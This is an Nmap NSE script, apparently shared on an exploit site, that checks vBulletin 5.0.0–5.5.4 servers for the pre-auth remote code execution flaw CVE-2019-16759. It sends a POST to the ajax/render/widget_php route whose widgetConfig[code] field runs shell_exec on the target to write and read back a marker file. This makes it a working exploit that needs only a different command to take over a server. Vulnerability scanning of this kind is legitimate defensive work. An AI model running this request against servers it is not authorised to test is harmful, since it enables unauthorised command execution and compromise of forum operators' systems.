vBulletin 5.x 0-Day Pre-Auth Remote Command Execution

`description = [[  
vBulletin 5.x 0day pre-auth RCE exploit  
This should work on all versions from 5.0.0 till 5.5.4  
]]  
  
local http = require "http"  
local shortport = require "shortport"  
local vulns = require "vulns"  
local stdnse = require "stdnse"  
local string = require "string"  
  
---  
-- @usage  
-- nmap -p <port> --script http-vuln-CVE-2019-16759 <target>  
--  
-- @output  
-- PORT STATE SERVICE  
-- s4430/tcp open http  
-- | http-vuln-CVE-2019-16759:  
-- | VULNERABLE  
-- | vBulletin 5.x 0day pre-auth RCE exploit  
-- | State: VULNERABLE  
-- | IDs: CVE:CVE-2019-16759  
-- |  
-- | Disclosure date: 2019-09-23  
-- | References:  
-- | https://seclists.org/fulldisclosure/2019/Sep/31  
-- |_ https://nvd.nist.gov/vuln/detail/CVE-2019-16759  
--  
-- @args http-vuln-cve2019-16759.path The default URL path to request. The default is "/".  
  
author = "r00tpgp"  
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"  
categories = { "vuln" }  
  
portrule = shortport.http  
  
action = function(host, port)  
local vuln = {  
title = "vBulletin 5.x 0day pre-auth RCE exploit",  
state = vulns.STATE.NOT_VULN,  
description = [[  
vBulletin 5.x 0day pre-auth RCE exploit  
This should work on all versions from 5.0.0 till 5.5.4  
]],  
IDS = {  
CVE = "CVE-2019-16759"  
},  
references = {  
'https://seclists.org/fulldisclosure/2019/Sep/31',  
'https://nvd.nist.gov/vuln/detail/CVE-2019-16759',  
},  
dates = {  
disclosure = { year = '2019', month = '09', day = '23' }  
}  
}  
  
local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)  
  
local method = stdnse.get_script_args(SCRIPT_NAME..".method") or "POST"  
local path = stdnse.get_script_args(SCRIPT_NAME..".path") or "/index.php?routestring=ajax/render/widget_php"  
  
local body = {  
["widgetConfig[code]"] = "echo shell_exec(\'echo h4x0000r > /tmp/nmap.check.out; cat /tmp/nmap.check.out\');exit;",  
}  
  
local options = {  
header = {  
Connection = "close",  
["Content-Type"] = "application/x-www-form-urlencoded",  
["User-Agent"] = "curl/7.65.3",  
["Accept"] = "*/*",  
},  
content = body  
}  
local response = http.post(host, port, path, nil, nil, body)  
  
if response and string.match(response.body, "h4x0000r") then  
vuln.state = vulns.STATE.VULN  
end  
  
return vuln_report:make_output(vuln)  
end  
`